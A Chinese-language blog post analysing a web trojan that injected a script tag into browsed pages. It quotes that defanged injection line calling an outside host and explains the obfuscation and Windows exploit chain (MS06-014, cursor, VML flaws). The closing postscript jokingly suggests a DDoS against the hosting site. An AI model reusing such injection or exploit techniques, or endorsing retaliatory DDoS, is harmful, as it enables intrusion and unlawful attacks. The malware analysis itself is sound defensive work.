有趣的木馬解剖
同事回報發生了疑似中毒事件,查看的結果,發現中毒的機器用IE讀取網頁時(包含http://www.google.com.tw)在HTML Source的最前端會被插入一列:
<script src="httq://www_blogo_tw/lan.js"></script> (註: 為防止有害URL被誤觸,我做了一些變造處理)
由這個現象,可確定是中了惡意軟體無誤,網管同事最後用AdWare SE反間諜軟體將它掃除。但我好奇它的設計原理,情不自禁又鑽了進去...
首先,lan.js長這副德行:

看起來,它將真正的程式碼中的所有英文單字先換成數字及英文字母(例如紅字部分),而對照表就是綠色的直線分隔單字清單,我猜split開來,2代表document,3代表expires,4則是var,以此類推。本想自己寫Code解碼,後來心想,這段Code本身就內建解碼器,才能還原回程式碼交給eval執行,因此我只加了幾個字,就讓原始程式現身了:

原來這個木馬的原理是這樣的,首先會檢查一個Cookie(tiantang),看看有沒有被感染過,沒有感染過的人會建立一顆RDS.DataSpace物件({CLSID:BD96C556-****-****-****-00C04FC29E36},它還故意將GUID拆成多個字串碎片逃避檢查),試圖透過MS06-014安全漏洞植入木馬(這是目前火紅的木馬植入技術呢! 例如: 這裡、這裡),除此之外,它還會插入一個Iframe,理面類似lan.js,用eval執行解碼過的程式碼如下,看來就是將木馬植入使用者電腦的核心程式。

如果以上的手法失敗(表示使用者做過Windows Update了),則會端上另一道大菜,首先載入lan7.js,並把游標換成一個特定的檔案,應該是想透過微軟前陣子被發現的游標漏洞入侵使用者的電腦,至於lan7.js,則包含了以下的內容:

沒中過毒的人,會寫入Cookie(代表要進攻MS07-004漏洞? 這個Cookie真是大幅提高了程式碼的可讀性呀! 算是盜亦有道了),先document.write出一段內容,接著在五秒後轉接空白頁毁屍滅跡。再解開這個document.write,發現果然是要鑽MS07-004的向量標記語言漏洞... 其內容如下:

由這番解析,算是揭開了這隻木馬進攻的手法,全都靠Windows的漏洞,包含了動態游標漏洞、VML漏洞及RDS.DataSpace漏洞,而且還具備了多管齊下的能力。這些漏洞可怕之處在於只要開個網頁就會中標,即便沒有白目地亂開EXE、VBS、PIF,一樣會遭秧。切記,Windows Update一定要保持在最新的狀態,方為明哲保身之道!
PS: 看來www. _blogo. _tw是個大毒窰,MIS人員乾脆在DNS上把它禁掉算了。再不然,號召一些正義之士,一起對它發動DDOS攻擊也不錯,可以名正言順地攻擊網站,應該是件很爽的事吧!! (由此可以想見我是多麼想當駭客,哈!)
[2010-05-30更新]發現文中的CLSID會被防毒軟體誤判為有害,故將其中三節改為****-****-****避開。
[2018-08-26更新]屢被防毒軟體誤判,不勝其擾,程式碼改圖片。